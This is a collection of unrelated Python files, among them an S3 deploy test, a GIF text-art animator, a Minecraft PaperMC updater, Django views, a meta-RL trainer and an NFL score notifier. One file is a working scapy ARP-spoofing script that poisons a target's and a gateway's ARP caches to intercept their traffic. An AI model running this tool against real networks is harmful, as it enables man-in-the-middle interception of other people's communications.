                bucket=self.test_deploy_ctx.cf_bucket_name,
                key=s3_buddy._get_upload_bucket_key_name(file=None, key_name="test_compress.json.zip")
            )
            # s3 deploy appends zip to it
            s3d = S3Deploy(
                artifact_id="test_compress.json", location=s3_url[:s3_url.rfind("/")], ctx=self.test_deploy_ctx
            )
            s3d.cloud_formation_buddy = TestCloudFormationBuddy(self.test_deploy_ctx)
            s3d.do_deploy()
            self.assertEqual(
                s3_buddy.get_file_as_string('test_compress.json'),
                "test-compress",
                "Failed to get file as string"
            )
        finally:
            self.clean_s3(s3_buddy)


#!/usr/bin/env python
# -*- coding: utf-8 name> -*-

"""This script animates a GIF image, from the web, in text art."""

from io import BytesIO
import time

from PIL import Image
from picharsso import new_drawer
from picharsso.utils import clear_screen, terminal_size

import requests

if __name__ == "__main__":
    # Set URL of image
    image_url = "https://bit.ly/3hs2Vxr"

    # Open Image from respose content
    response = requests.get(image_url)
    image = Image.open(BytesIO(response.content))

    # Get terminal height
    height, _ = terminal_size()

    # Choose an art style
    style = "gradient"  # or "braille"

    # Define drawer
    drawer = new_drawer(style, height=height, colorize=True)

    # Iterate over frames
    texts = []
    for frame_id in range(image.n_frames):
        # Select frame
        image.seek(frame_id)

        # Save output for frame
        texts.append(drawer(image))

    # Iterate over saved outputs in a circular manner
    num_frames = len(texts)
    counter = 0
    while True:
        # Refresh
        clear_screen()

        # Print output
        print(texts[counter])

        # Set a delay between frames
        time.sleep(1 / num_frames)

        # Circular increment
        counter = (counter + 1) % num_frames


#!/usr/bin/env python3

import sys
import os

from argparse import ArgumentParser

parser = ArgumentParser(description="Package a folder into the GPAK file format.")
parser.add_argument("input", help="the input folder to package as the GPAK")
parser.add_argument("output", help="the name and location of the resulting GPAK")
args = parser.parse_args()

RESOURCES_DIR = args.input
OUTPUT_GPAK = args.output

index = bytearray()
files = bytearray()

index_count = 0

def int_to_bytes (val, num_bytes):
    return [(val & (0xff << pos * 8)) >> pos * 8 for pos in range(num_bytes)]

for dir_name, subdir_list, file_list in os.walk(RESOURCES_DIR):
    for file_name in file_list:
        index_count = index_count + 1
        full_path = dir_name + "/" + file_name

        full_path = full_path.replace('\\', '/')
        full_path = full_path.lower()

        if full_path.startswith(RESOURCES_DIR):
            key_path = full_path[len(RESOURCES_DIR)+1:]

        index.extend(int_to_bytes(len(key_path), 2))
        index.extend(bytearray(key_path, "ascii"))
        with open(full_path, mode='rb') as file:
            file_content = file.read()
            length = len(file_content)

            print("Packing " + key_path + " (" + str(length) + " bytes)")
            index.extend(int_to_bytes(length, 4))

            files.extend(file_content)

gpak = open(OUTPUT_GPAK, "wb")
gpak.write(bytearray(int_to_bytes(index_count, 4)))
gpak.write(index)
gpak.write(files)


#!/usr/bin/env python
import sys
import dotenv
from functools import reduce
import requests

def cmp_version(lhs, rhs):
    lhs_split = lhs.replace('-pre', '.').split(".")
    rhs_split = rhs.replace('-pre', '.').split(".")
    i = 0
    while i < len(lhs_split) and i < len(rhs_split):
        rhs_v = int(rhs_split[i])
        lhs_v = int(lhs_split[i])
        if rhs_v > lhs_v:
            return True
        elif rhs_v < lhs_v:
            return False
        i = i + 1
    return False

def higher_version(lhs, rhs):
    rhs_is_greater = cmp_version(lhs, rhs)
    if rhs_is_greater:
        return rhs
    else:
        return lhs

def higher_build(lhs, rhs):
    if int(rhs) > int(lhs):
        return rhs
    else:
        return lhs

dotenv_file = dotenv.find_dotenv()
dotenv.load_dotenv(dotenv_file)
v_req = requests.get("https://papermc.io/api/v2/projects/paper")
if v_req.status_code == 200:
    v_data = v_req.json()
    highest_version = reduce(lambda acc, cur: higher_version(acc, cur), v_data["versions"])
    print(f"Latest version found: {highest_version}")
    b_req = requests.get(f"https://papermc.io/api/v2/projects/paper/versions/{highest_version}")
    if b_req.status_code == 200:
        b_data = b_req.json()
        highest_build = reduce(lambda acc, cur: higher_build(acc, cur), b_data["builds"])
        print(f"Latest build found for {highest_version}: {highest_build}")
        f_req = requests.get(
            f"https://papermc.io/api/v2/projects/paper/versions/{highest_version}/builds/{highest_build}")
        if f_req.status_code == 200:
            f_data = f_req.json()
            filename = f_data["downloads"]["application"]["name"]
            sha256 = f_data["downloads"]["application"]["sha256"]
            print(f"Filename for {highest_version}-{highest_build}: {filename}")
            print(f"SHA256 hash for {filename}: {sha256}")
            prior_values = dotenv.dotenv_values()
            prior_version = prior_values.get("PAPER_VERSION", False) or "undefined"
            prior_build = prior_values.get("PAPER_BUILD", False) or "undefined"
            prior_filename = prior_values.get("PAPER_FILENAME", False) or "undefined"
            prior_sha256 = prior_values.get("PAPER_SHA256", False) or "undefined"
            print(f"Updating .env file ({dotenv_file})...")
            # Docker is really dumb and won't handle quotes in values, so you have to disable quotes
            # (dotenv will forcefully re-enable them if a space appears in the value though)
            dotenv.set_key(dotenv_file, "PAPER_VERSION", str(highest_version), quote_mode="never")
            dotenv.set_key(dotenv_file, "PAPER_BUILD", str(highest_build), quote_mode="never")
            dotenv.set_key(dotenv_file, "PAPER_FILENAME", str(filename), quote_mode="never")
            dotenv.set_key(dotenv_file, "PAPER_SHA256", str(sha256), quote_mode="never")
            print("Updated:")
            print(f"PAPER_VERSION: {prior_version} -> {highest_version}")
            print(f"PAPER_BUILD: {prior_build} -> {highest_build}")
            print(f"PAPER_FILENAME: {prior_filename} -> {filename}")
            print(f"PAPER_SHA256: {prior_sha256} -> {sha256}")
        else:
            print("ERROR: Failed to fetch downloadable files from Paper API", file=sys.stderr)
            exit(1)
    else:
        print("ERROR: Failed to fetch builds from Paper API", file=sys.stderr)
        exit(1)
else:
    print("ERROR: Failed to fetch versions from Paper API", file=sys.stderr)
    exit(1)


from django.shortcuts import render, get_object_or_404, redirect
from .models import Produk
from .forms import ProdukForm  # Anda perlu membuat formulir untuk edit dan tambah

def produk_list(request):
    produk_list = Produk.objects.all()
    return render(request, 'produk_list.html', {'produk_list': produk_list})

def produk_filter(request):
    produk_filter = Produk.objects.filter(status__nama_status='bisa dijual')
    return render(request, 'produk_filter.html', {'produk_filter': produk_filter})

def tambah_produk(request):
    if request.method == 'POST':
        form = ProdukForm(request.POST)
        if form.is_valid():
            form.save()
            return redirect('produk_list')
    else:
        form = ProdukForm()
    return render(request, 'tambah_produk.html', {'form': form})

def edit_produk(request, id_produk):
    produk = get_object_or_404(Produk, id=id_produk)
    if request.method == 'POST':
        form = ProdukForm(request.POST, instance=produk)
        if form.is_valid():
            form.save()
            return redirect('produk_list')
    else:
        form = ProdukForm(instance=produk)
    return render(request, 'edit_produk.html', {'form': form, 'produk': produk})

def hapus_produk(request, id_produk):
    produk = get_object_or_404(Produk, id=id_produk)
    if request.method == 'POST':
        produk.delete()
        return redirect('produk_list')
    return render(request, 'hapus_produk.html', {'produk': produk})


import abc
from collections import OrderedDict
import time

import gtimer as gt
import numpy as np
import ray

from rlkit.core import logger, eval_util
from rlkit.data_management.env_replay_buffer import MultiTaskReplayBuffer
from rlkit.data_management.path_builder import PathBuilder
from rlkit.samplers.in_place import InPlacePathSampler
from rlkit.torch import pytorch_util as ptu

class MetaRLAlgorithm(metaclass=abc.ABCMeta):
    def __init__(
            self,
            env,
            agent,
            train_goals,
            wd_goals,
            ood_goals,
            replay_buffers,
            meta_batch_size=64,
            num_iterations=100,
            num_train_steps_per_itr=1000,
            num_tasks=100,
            num_steps_prior=100,
            num_steps_posterior=100,
            num_extra_rl_steps_posterior=100,
            num_evals=10,
            num_steps_per_eval=1000,
            max_path_length=1000,
            discount=0.99,
            reward_scale=1,
            num_exp_traj_eval=1,
            eval_deterministic=True,
            render=False,
            save_replay_buffer=False,
            save_algorithm=False,
            save_environment=False,
            render_eval_paths=False,
            dump_eval_paths=False,
            plotter=None,
            use_same_context=True,
            recurrent=False,
    ):
        """
        :param env: training env
        :param agent: agent that is conditioned on a latent variable z that rl_algorithm is responsible for feeding in
        :param train_tasks: list of tasks used for training
        :param eval_tasks: list of tasks used for eval

        see default experiment config file for descriptions of the rest of the arguments
        """
        self.env = env
        self.agent = agent
        self.train_goals = train_goals
        self.wd_goals = wd_goals
        self.ood_goals = ood_goals
        self.replay_buffers = replay_buffers
        self.num_iterations = num_iterations
        self.num_train_steps_per_itr = num_train_steps_per_itr
        self.meta_batch_size = meta_batch_size
        self.num_evals = num_evals
        self.num_steps_per_eval = num_steps_per_eval
        self.max_path_length = max_path_length
        self.discount = discount
        self.reward_scale = reward_scale
        self.num_exp_traj_eval = num_exp_traj_eval
        self.eval_deterministic = eval_deterministic
        self.render = render
        self.save_replay_buffer = save_replay_buffer
        self.save_algorithm = save_algorithm
        self.save_environment = save_environment
        self.use_same_context = use_same_context
        self.recurrent=recurrent

        self.eval_statistics = None
        self.render_eval_paths = render_eval_paths
        self.dump_eval_paths = dump_eval_paths
        self.plotter = plotter

        self.sampler = InPlacePathSampler(
            env=env,
            policy=agent,
            max_path_length=self.max_path_length,
        )

        # separate replay buffers for
        # - training RL update
        # - training encoder update

        self._n_env_steps_total = 0
        self._n_train_steps_total = 0
        self._n_rollouts_total = 0
        self._do_train_time = 0
        self._epoch_start_time = None
        self._algo_start_time = None
        self._old_table_keys = None
        self._current_path_builder = PathBuilder()
        self._exploration_paths = []

    def make_exploration_policy(self, policy):
         return policy

    def make_eval_policy(self, policy):
        return policy

    def train(self):
        '''
        meta-training loop
        '''
        self.pretrain()
        gt.reset()
        gt.set_def_unique(False)
        self._current_path_builder = PathBuilder()

        # at each iteration, we first collect data from tasks, perform meta-updates, then try to evaluate
        for it_ in gt.timed_for(
                range(self.num_iterations),
                save_itrs=True,
        ):
            self._start_epoch(it_)
            self.training_mode(True)

            # Sample train tasks and compute gradient updates on parameters.
            batch_idxes = np.random.randint(
                    0, len(self.train_goals), size=self.meta_batch_size
            )
            train_batch_obj_id = self.replay_buffers.sample_training_data(
                batch_idxes, self.use_same_context
            )
            for _ in range(self.num_train_steps_per_itr):
                train_raw_batch = ray.get(train_batch_obj_id)
                gt.stamp('sample_training_data', unique=False)

                batch_idxes = np.random.randint(
                    0, len(self.train_goals), size=self.meta_batch_size
                )
                # In this way, we can start the data sampling job for the
                # next training while doing training for the current loop.
                train_batch_obj_id = self.replay_buffers.sample_training_data(
                    batch_idxes, self.use_same_context
                )
                gt.stamp('set_up_sampling', unique=False)

                train_data = self.construct_training_batch(train_raw_batch)
                gt.stamp('construct_training_batch', unique=False)

                self._do_training(train_data)
                self._n_train_steps_total += 1
            gt.stamp('train')

            self.training_mode(False)

            # eval
            self._try_to_eval(it_)
            gt.stamp('eval')

            self._end_epoch()
            if it_ == self.num_iterations:
                logger.save_itr_params(it_, self.agent.get_snapshot())

    def construct_training_batch(self, raw_batch):
        ''' Construct training batch from raw batch'''
        state = np.concatenate([rb[0] for rb in raw_batch], axis=0)
        next_state = np.concatenate([rb[1] for rb in raw_batch], axis=0)
        actions = np.concatenate([rb[2] for rb in raw_batch], axis=0)
        rewards = np.concatenate([rb[3] for rb in raw_batch], axis=0)
        dones = np.concatenate([rb[4] for rb in raw_batch], axis=0)
        contexts = np.concatenate([rb[5] for rb in raw_batch], axis=0)

        return [state, next_state, actions, rewards, dones, contexts]

    def pretrain(self):
        """
        Do anything before the main training phase.
        """
        pass

    def _try_to_eval(self, epoch):
        logger.save_extra_data(self.get_extra_data_to_save(epoch))
        if self._can_evaluate():
            self.evaluate(epoch)

            params = self.get_epoch_snapshot(epoch)
            logger.save_itr_params(epoch, params)

            table_keys = logger.get_table_key_set()
            if self._old_table_keys is not None:
                assert table_keys == self._old_table_keys, (
                    "Table keys cannot change from iteration to iteration."
                )
            self._old_table_keys = table_keys

            logger.record_tabular(
                "Number of train steps total",
                self._n_train_steps_total,
            )
            logger.record_tabular(
                "Number of env steps total",
                self._n_env_steps_total,
            )
            logger.record_tabular(
                "Number of rollouts total",
                self._n_rollouts_total,
            )

            times_itrs = gt.get_times().stamps.itrs
            train_time = times_itrs['train'][-1]
            sample_time = times_itrs['sample_training_data'][-1]
            eval_time = times_itrs['eval'][-1] if epoch > 0 else 0
            epoch_time = train_time + sample_time + eval_time
            total_time = gt.get_times().total

            logger.record_tabular('Train Time (s)', train_time)
            logger.record_tabular('(Previous) Eval Time (s)', eval_time)
            logger.record_tabular('Sample Time (s)', sample_time)
            logger.record_tabular('Epoch Time (s)', epoch_time)
            logger.record_tabular('Total Train Time (s)', total_time)

            logger.record_tabular("Epoch", epoch)
            logger.dump_tabular(with_prefix=False, with_timestamp=False)
        else:
            logger.log("Skipping eval for now.")

    def _can_evaluate(self):
        """
        One annoying thing about the logger table is that the keys at each
        iteration need to be the exact same. So unless you can compute
        everything, skip evaluation.

        A common example for why you might want to skip evaluation is that at
        the beginning of training, you may not have enough data for a
        validation and training set.

        :return:
        """
        # eval collects its own context, so can eval any time
        return True

    def _can_train(self):
        return True

    def _get_action_and_info(self, agent, observation):
        """
        Get an action to take in the environment.
        :param observation:
        :return:
        """
        agent.set_num_steps_total(self._n_env_steps_total)
        return agent.get_action(observation,)

    def _start_epoch(self, epoch):
        self._epoch_start_time = time.time()
        self._exploration_paths = []
        self._do_train_time = 0
        logger.push_prefix('Iteration #%d | ' % epoch)

    def _end_epoch(self):
        logger.log("Epoch Duration: {0}".format(
            time.time() - self._epoch_start_time
        ))
        logger.log("Started Training: {0}".format(self._can_train()))
        logger.pop_prefix()

    ##### Snapshotting utils #####

    def get_epoch_snapshot(self, epoch):
        data_to_save = dict(
            epoch=epoch,
            exploration_policy=self.agent,
        )
        if self.save_environment:
            data_to_save['env'] = self.env
        return data_to_save

    def get_extra_data_to_save(self, epoch):
        """
        Save things that shouldn't be saved every snapshot but rather
        overwritten every time.
        :param epoch:
        :return:
        """
        if self.render:
            self.env.render(close=True)
        data_to_save = dict(
            epoch=epoch,
        )
        if self.save_algorithm:
            data_to_save['algorithm'] = self
        if epoch == self.num_iterations - 1:
            data_to_save['algorithm'] = self
        return data_to_save

    def collect_paths(self, goal, epoch, run):
        self.env.set_goal(goal)

        self.agent.clear_z()
        paths = []
        num_transitions = 0
        num_trajs = 0
        while num_transitions < self.num_steps_per_eval:
            path, num = self.sampler.obtain_samples(deterministic=self.eval_deterministic, max_samples=self.num_steps_per_eval - num_transitions, max_trajs=1, accum_context=True)
            paths += path
            num_transitions += num
            num_trajs += 1
            if num_trajs >= self.num_exp_traj_eval:
                self.agent.infer_posterior(self.agent.context)

        if self.sparse_rewards:
            for p in paths:
                sparse_rewards = np.stack(e['sparse_reward'] for e in p['env_infos']).reshape(-1, 1)
                p['rewards'] = sparse_rewards

        goal = self.env._goal
        for path in paths:
            path['goal'] = goal # goal

        # save the paths for visualization, only useful for point mass
        if self.dump_eval_paths:
            logger.save_extra_data(paths, path='eval_trajectories/evla_goal{}-epoch{}-run{}'.format(goal, epoch, run))

        return paths

    def _do_eval(self, goal_set, epoch):

        final_returns = []
        final_achieved = []
        for goal in goal_set:
            all_rets = []
            all_achieved = []
            for r in range(self.num_evals):
                paths = self.collect_paths(goal, epoch, r)
                all_rets.append([eval_util.get_average_returns([p]) for p in paths])
                all_achieved.append([eval_util.get_average_achieved([p]) for p in paths])
            final_returns.append(np.mean([a[-1] for a in all_rets]))
            final_achieved.append(np.mean([a[-1] for a in all_achieved]))

        return final_returns, final_achieved

    def evaluate(self, epoch):
        if self.eval_statistics is None:
            self.eval_statistics = OrderedDict()

        ### sample trajectories from prior for debugging / visualization
        if self.dump_eval_paths:
            # 100 arbitrarily chosen for visualizations of point_robot trajectories
            # just want stochasticity of z, not the policy
            self.agent.clear_z()
            prior_paths, _ = self.sampler.obtain_samples(deterministic=self.eval_deterministic, max_samples=self.max_path_length * 20,
                                                        accum_context=False,
                                                        resample=1)
            logger.save_extra_data(prior_paths, path='eval_trajectories/prior-epoch{}'.format(epoch))

        ### train tasks
        # eval on a subset of train tasks for speed
        eval_util.dprint('evaluating on {} train tasks'.format(len(self.train_goals)))

        ### eval train tasks with on-policy data to match eval of test tasks
        train_final_returns, train_final_achieved = self._do_eval(self.train_goals, epoch)

        # Comment this line for walker-param
        # train_final_achieved_pair = [(train_final_achieved[i], goal) for i, goal in enumerate(self.train_goals)]
        train_final_achieved_pair = [(train_final_achieved[i], -1) for i, goal in enumerate(self.train_goals)]

        eval_util.dprint('train final achieved')
        eval_util.dprint(train_final_achieved_pair)

        ### WD tasks

        eval_util.dprint('evaluating on {} wd tasks'.format(len(self.wd_goals)))
        wd_final_returns, wd_final_achieved = self._do_eval(self.wd_goals, epoch)

        # Comment this line for walker-param
        # wd_final_achieved_pair = [(wd_final_achieved[i], goal) for i, goal in enumerate(self.wd_goals)]
        wd_final_achieved_pair = [(wd_final_achieved[i], -1) for i, goal in enumerate(self.wd_goals)]

        eval_util.dprint('WD test final achieved')
        eval_util.dprint(wd_final_achieved_pair)

        # ### OOD tasks

        # eval_util.dprint('evaluating on {} wd tasks'.format(len(self.ood_goals)))
        # ood_final_returns, ood_final_achieved = self._do_eval(self.ood_goals, epoch)

        # # Comment this line for walker-param
        # # ood_final_achieved_pair = [(ood_final_achieved[i], goal) for i, goal in enumerate(self.ood_goals)]
        # ood_final_achieved_pair = [(ood_final_achieved[i], -1) for i, goal in enumerate(self.ood_goals)]

        # eval_util.dprint('OOD test final achieved')
        # eval_util.dprint(ood_final_achieved_pair)

        # # save the final posterior
        # self.agent.log_diagnostics(self.eval_statistics)

        avg_train_return = np.mean(train_final_returns)
        avg_wd_return = np.mean(wd_final_returns)
        # avg_ood_return = np.mean(ood_final_returns)

        self.eval_statistics['AverageReturn_all_train_tasks'] = avg_train_return
        self.eval_statistics['AverageReturn_all_wd_tasks'] = avg_wd_return
        # self.eval_statistics['AverageReturn_all_ood_tasks'] = avg_ood_return

        self.eval_statistics['Return_all_train_tasks'] = train_final_returns
        self.eval_statistics['Return_all_wd_tasks'] = wd_final_returns
        # self.eval_statistics['Return_all_ood_tasks'] = ood_final_returns

        self.eval_statistics['Achieved_all_train_tasks'] = train_final_achieved_pair
        self.eval_statistics['Achieved_all_wd_tasks'] = wd_final_achieved_pair
        # self.eval_statistics['Achieved_all_ood_tasks'] = ood_final_achieved_pair

        for key, value in self.eval_statistics.items():
            logger.record_tabular(key, value)
        self.eval_statistics = None

        if self.plotter:
            self.plotter.draw()

    @abc.abstractmethod
    def training_mode(self, mode):
        """
        Set training mode to `mode`.
        :param mode: If True, training will happen (e.g. set the dropout
        probabilities to not all ones).
        """
        pass

    @abc.abstractmethod
    def _do_training(self, train_data):
        """
        Perform some update, e.g. perform one gradient step.
        :return:
        """
        pass


from bs4 import BeautifulSoup
import urllib2

#gets list of urls from dropbox url
def get_imagelinks_from_dropbox(url):
    links = []
    response = urllib2.urlopen(url)
    soup = BeautifulSoup(response)
    section = soup.find('ol', id='gallery-view-media')
    lis = section.find_all('a')
    for li in lis:
        links.append(li['href'][:-5])
    return links


import pandas as pd
import numpy as np

from config import config
import gathering as gt
import clean as cl
import sql

# --------------------- MAIN EXECUTION --------------------- #
if __name__ == '__main__':
    sql.connect()
    sql.drop_tables()
    sql.create_tables()

    df = gt.build_countries_iso()
    df = gt.build_countries_name(df)
    df = gt.build_continents_iso(df)

    # Insert continents
    continents = [tuple([x]) for x in list(df.Continent.unique())]
    sql.insert_continent_list(continents)
    print("[PostgreSQL - Continents added]")

    # Insert countries
    row_list = []
    for index, rows in df.iterrows():
        my_list = [rows.Country, rows.ISO2, rows.ISO3, rows.Continent]
        row_list.append(my_list)
    countries = [tuple(x) for x in row_list]
    sql.insert_country_list(countries)
    print("[PostgreSQL - Countries added]")

    # Insert years
    population_df = pd.read_csv("data\input\population_total_long.csv")
    years = [tuple([int(x)]) for x in list(population_df.Year.unique())]
    sql.insert_year_list(years)
    print("[PostgreSQL - Years added]")

    # Insert population: mortality, natality, population, gdp, gdp_pc
    df_pop = gt.get_population()
    df_mor = gt.get_moratility()
    df_result = df_pop.join(df_mor)

    df_fer = gt.get_fertility()
    df_fer = cl.refactor_fertility(df_fer)
    df_result = df_result.join(df_fer)

    df_gdp = gt.get_gdp()
    df_gdp = cl.refactor_gdp(df_gdp)
    df_result = df_result.join(df_gdp)

    df_gdp_pc = gt.get_gdp_pc()
    df_gdp_pc = cl.refactor_gdp_pc(df_gdp_pc)
    df_result = df_result.join(df_gdp_pc)
    df_result.to_csv("data\output\df_train.csv", index=False)

    row_list = []
    df_result = df_result.reset_index()
    df_result = df_result.replace(np.nan, None)
    for index, rows in df_result.iterrows():
        my_list = [rows.Population, rows.NatalityRate, rows.MortalityRate, rows.GDP, rows.GDP_PC, rows.Country, rows.Year]
        row_list.append(my_list)
    population_list = [tuple(x) for x in row_list]
    #print(population_list)
    sql.insert_population_list(population_list)
    print("[PostgreSQL - Population added]")

    # SELECT QUERIES TO IMPLEMENT AND BUILD CSV FILES TO BUILD TABLEAU
    # 1. Select population total for each country (to build histplot)
    response = sql.select_population()
    df = pd.DataFrame(response, columns=['Country', 'Year', 'Population'])
    df.to_csv("data\output\population_hist.csv", index=False)

    # 2. Select population vs rates
    response = sql.select_population_vs_rates()
    df = pd.DataFrame(response, columns=['Country', 'Year', 'Population', 'Natality', 'Mortality'])
    df.to_csv("data\output\population_rates_hist.csv", index=False)

    # 3. pop vs mortality/natality
    response = sql.select_population_gdp()
    df = pd.DataFrame(response, columns=['Country', 'Year', 'Population', 'GDP', 'GDP_PC'])
    df.to_csv("data\output\population_gdp_hist.csv", index=False)


import requests
import pprint
from datetime import datetime, timedelta
import time
import os
import redis
from twilio.rest import Client
# calculate 10 seconds in the future
url = "https://site.api.espn.com/apis/site/v2/sports/football/nfl/scoreboard"
# print(f"Fetching data from {url} for {now}.")
r = requests.get(url)
nfl_json = r.json()
# pprint.pprint(nfl_json["events"][0])
target_score = 38
target_score_minus_fg = target_score - 3
target_score_minus_td = target_score - 7

headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
}

# data = 'i love dada:heart:'
r = redis.Redis(host='localhost', port=6379, decode_responses=True)
value = 1

# account_sid = os.environ['TWILIO_ACCOUNT_SID']
# #account_sid = 'MG07a5b06e7cd9a774b5e6bbfe6a2eaf6c'
# auth_token = os.environ['TWILIO_AUTH_TOKEN']
# messaging_service_sid='MG07a5b06e7cd9a774b5e6bbfe6a2eaf6c'
# client = Client(account_sid, auth_token)
# message = client.messages \
#     .create(
#         body="am i blocked",
#         messaging_service_sid=messaging_service_sid,
#         # from_='+18885221227',
#         to="+15712127641"
#                 )
sports_dict = {
    "New York Jets": 'Paul',
    "Buffalo Bills": 'Mason',
    "Kansas City Chiefs": 'Josh',
    "Atlanta Falcons": 'Ben',
    "Carolina Panthers": 'Greg',
    "Cleveland Browns": 'Ray',
    "Cincinnati Bengals": 'Jay',
    "Jacksonville Jaguars": 'Dave',
    "Minnesota Vikings": 'Frank',
    "Tampa Bay Buccaneers": 'Anthony',
    "New Orleans Saints": 'Brett',
    "Tennessee Titans": 'Brent',
    "Pittsburgh Steelers": 'Renzo',
    "San Francisco 49ers": 'Jason',
    "Washington Commanders": 'Beau',
    "Arizona Cardinals": 'Dave',
    "Baltimore Ravens": 'Greg',
    "Houston Texans": 'Tim',
    "Chicago Bears": 'Phil',
    "Green Bay Packers": 'Nick',
    "Denver Broncos": 'Ryan',
    "Las Vegas Raiders": 'Bobby',
    "New England Patriots": 'Jovany',
    "Philadelphia Eagles": 'Chris',
    "Los Angeles Chargers": 'Steve',
    "Miami Dolphins": 'Allen',
    "Seattle Seahawks": 'Armand',
    "Los Angeles Rams": 'Kevin',
    "New York Giants": 'Trevor',
    "Dallas Cowboys": 'Jamie',
    "Chicago Bears": 'Phil',
    "New England Patriots": 'Jovany',
    "Indianapolis Colts": 'Scott',
    "Detroit Lions": "Erik"
}

# response = requests.post('http://ntfy.sh/nfl38club', headers=headers, data=data)
home_team_display_name = nfl_json["events"][0]['competitions'][0]['competitors'][0]['team']['displayName']
    # away_team_score = game['competitions'][0]['competitors'][1]['score']
away_team_display_name = nfl_json["events"][0]['competitions'][0]['competitors'][1]['team']['displayName']
for events in nfl_json["events"]:
    matchup = events['name']
    timeleft = events['status']['type']['detail']
    for competitors in events['competitions'][0]['competitors']:
        score = competitors['score']
        team_display_name = competitors['team']['displayName']
        # pprint.pprint(competitors)
        progress_key = f"{team_display_name}{events['shortName']}{nfl_json['season']['year']}".replace(" ","")
        winning_key = f"{events['status']['type']['detail']}{team_display_name}{events['shortName']}{nfl_json['season']['year']}".replace(" ","")
        # print("matchup: ",matchup)
        # print("SCORE: ",score)
        # print("TIMELEFT: ",timeleft)
        # print(team_display_name)
        if timeleft == 'Final':
            if r.exists(winning_key) == False and int(score) == target_score:
                r.set(winning_key,value)
                winning_message = f"The {team_display_name} finished the {matchup} game with {target_score} points, congrats to {sports_dict[team_display_name]}"
                # print(winning_key)
                print(winning_message)
                time.sleep(5)
                response = requests.post('http://ntfy.sh/nfl38club', headers=headers, data=winning_message)
        elif  timeleft != 'Final':
            # print(matchup)
            if r.exists(progress_key) == False and int(score) == int(target_score_minus_fg):
                message = f"The {team_display_name} are a field goal away from the magic {target_score} with a score of {score} in the matchup: {matchup} with the clock at {timeleft} "
                response = requests.post('http://ntfy.sh/nfl38club', headers=headers, data=message)
                # print("PROGRESSKEY: ",progress_key)
                r.set(progress_key,value)
                print(message)
            elif r.exists(progress_key) == False and int(score) == int(target_score_minus_td):
                message = f"The {team_display_name} are a touchdown away from the magic {target_score} with a score of {score} in the matchup: {matchup} with the clock at {timeleft} "
                response = requests.post('http://ntfy.sh/nfl38club', headers=headers, data=message)
                # print("PROGRESSKEY: ",progress_key)
                r.set(progress_key,value)
                print(message)

        # print(f"team {}")
        # pprint.pprint(competitors)


import scapy.all as scapy
import argparse
import sys
import time

def get_arguments():
    parser = argparse.ArgumentParser()
    parser.add_argument("-t", "--target", dest="target_ip", help="Target IP ")
    parser.add_argument("-g", "--gateway", dest="gateway_ip", help="Gateway IP ")
    options = parser.parse_args()
    if not options.target_ip:
        parser.error("[-] Please specify a target IP, use --help for more info")
    if not options.gateway_ip:
        parser.error("[-] Please specify a gateway IP, use --help for more info")
    return options

def get_mac(ip):
    arp_request = scapy.ARP(pdst=ip)
    broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
    arp_request_broadcast = broadcast/arp_request
    answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
    for element in answered_list:
        return element[1].hwsrc

def spoof(target_ip, spoof_ip):
    target_mac = get_mac(target_ip)
    packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
    scapy.send(packet, verbose=False)

def restore(destination_ip, source_ip):
    destination_mac = get_mac(destination_ip)
    source_mac = get_mac(source_ip)
    packet = scapy.ARP(op=2, pdst=destination_ip, hwdst=destination_mac, psrc=source_ip, hwsrc=source_mac)
    scapy.send(packet, count=4, verbose=False)

options = get_arguments()

try:
    packets_sent_count = 0
    while True:
        spoof(options.target_ip, options.gateway_ip)
        spoof(options.gateway_ip, options.target_ip)
        packets_sent_count = packets_sent_count + 2
        print("\r[+] Sent : " + str(packets_sent_count)),
        sys.stdout.flush()
        time.sleep(2)
except KeyboardInterrupt:
    print("\n[-] Detected Ctrl + C ... Restoring ARP tables..... Please wait.\n")
    restore(options.target_ip, options.gateway_ip)
    restore(options.gateway_ip, options.target_ip)


import pandas as pd
import numpy as np
import requests as rq
import json

# 1. 读取数据
f = open('foodlist7.csv', encoding='utf-8')
df = pd.read_csv(f)
# print(df.head())

url = 'http://127.0.0.1:18000/food/createfood/'
url1 = 'http://127.0.0.1:18000/food/createregion/'
url2 = 'http://127.0.0.1:18000/food/createcounter/'
unuploaded = []
regions = []
counters = []

for row in df.itertuples():
    print(row)
    if row[4] not in regions:
        regions.append(row[4])
        data = {
            'region_name': row[4],
        }
        r = rq.post(url1, data=data)
        print(r.json())
    if row[5] not in counters:
        counters.append(row[5])
        data = {
            'region_name': row[4],
            'counter_name': row[5],
        }
        r = rq.post(url2, data=data)
        print(r.json())
    data = {
        'food_name': row[2],
        'price': str(row[3]),
        'tags': ', '.join([str(row[7]), str(row[6]) if str(row[6]) != 'nan' else '' ]),
        'region_name': row[4],
        'counter_name': str(row[5]),
        'photo_url': '',
    }
    print(data)
    r = rq.post(url, data=data)

    try:
        print(r.json())
        if r.json()['code'] != 200:
            print('error')
            unuploaded.append(row)
            # break
    except json.decoder.JSONDecodeError:
        print(r.text)
        # break

    # break

errs = pd.DataFrame(unuploaded)
errs.to_csv('unuploaded7.csv', encoding='utf-8')


import numpy as np
#import GMM_clust as GMM
from sklearn.mixture import GaussianMixture as GMM
import scipy
from scipy.special import logit
from scipy.special import expit
import gc

def update(x,alpha,lam,tau,r=0.5):
    flag = np.where(x>0,-1,1)
    tau_line = tau.flatten()
    val = x*alpha + flag * lam * r + tau_line
    val = np.where(x==0,0,val)
    return val/(2*lam*(1-r)*alpha)
"""
r: tumor RD
n: total RD
minor: tumor CN
total: total CN
ploidy: ploidy -> normal:2
"""

def fq(list):
    max = np.max(list)
    min = np.min(list)
    if max == min:
        return list[0]
    list = list-min
    space = np.arange(min,max+0.01,0.01)
    fq = []
    for i in range(np.size(space)):
        tmp_list= list-((i+1)*0.01)
        index = np.argwhere(tmp_list>0).reshape(-1)
        fq.append(np.size(list)-np.size(index))
        if np.size(index) > 0:
            list = list[index]
    if len(fq)>0:
        top = int(np.mean(np.argmax(fq)))
        top = space[top]
    else:
        return round(np.mean(list), 2)
    return top

def ElasticNet_correct(r, n, multiplicity, total, ploidy, Lambda, alpha, rho, Run_limit, precision,control_large, post_th,purity,Prefix):
    mutation_num = len(r)
    print("ElasticNet:"+str(mutation_num))
    vaf = r/n  # 次等位基因数/总数 thate
    phi = vaf * ((ploidy - purity * ploidy + purity * total) / multiplicity) #  CCF 文章中用 phi 表示， CP = CCF*purity
    tmp = np.where(phi>=1,phi,1)
